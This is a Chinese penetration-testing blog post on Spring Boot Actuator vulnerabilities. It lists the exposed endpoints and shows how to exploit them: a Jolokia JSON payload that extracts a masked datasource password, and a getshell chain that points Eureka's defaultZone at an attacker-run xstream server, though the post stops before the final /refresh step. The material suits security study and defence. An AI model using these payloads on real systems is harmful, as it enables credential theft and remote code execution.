Spring Boot常见历史漏洞

发布于 2021-02-17  1542 次阅读


《渗透测试》目录

常见漏洞-springboot

1.Spring: Spring是java web里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化。

Actuators介绍:Spring Boot 基本上是 Spring 框架的扩展。

Actuator 是springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。

2.端点信息:

  • /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
  • /configprops 描述配置属性(包含默认值)如何注入 Bean
  • /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
  • /dump 获取线程活动的快照
  • /env 获取全部环境属性
  • /env/{name} 根据名称获取指定的环境属性值
  • /health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
  • /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
  • /mappings 描述全部的 URI 路径,以及它们和控制器(包含Actuator端点)的映射关系
  • /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
  • /metrics/{name} 报告指定名称的应用程序度量值
  • /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为true (默认为 false )
  • /trace 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)

3.框架特征及漏洞发现

框架特征:浏览器上方链接图标为一片小绿叶,404报错页面也很有特点

检测工具链接:https://github.com/rabbitmask/SB-Actuator

4.漏洞利用

(1)获取敏感信息:由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息。

(2)获取被“*”脱敏的密码的明文

条件:

<1>目标网站存在 /jolokia接口

<2>目标使用了 jolokia-core 依赖

<3>目标使用了 spring-cloud 依赖

步骤一: 找到想要获取的属性名        

步骤二: jolokia 调用 org.springframework.cloud.context.environment Mbean 获取明文

payload:
{"mbean":"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["spring.datasource.password"]}

(3)Getshell

利用反序列化进行getshell(通过修改env配置文件进行xstream反序列化)

前置条件:

<1>Eureka-Client <1.8.7(多见于Spring Cloud Netflix)        

<2>spring-boot-starter-actuator(/refresh刷新配置需要)        

<3>spring-cloud-starter-netflix-eureka-client(功能依赖)

使用python3起一个服务,该服务为启动的xstream

访问/env,修改为post:        eureka.client.serviceUrl.defaultZone=http://目标IP:6666/xstream

访问/refresh,修改为post:


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。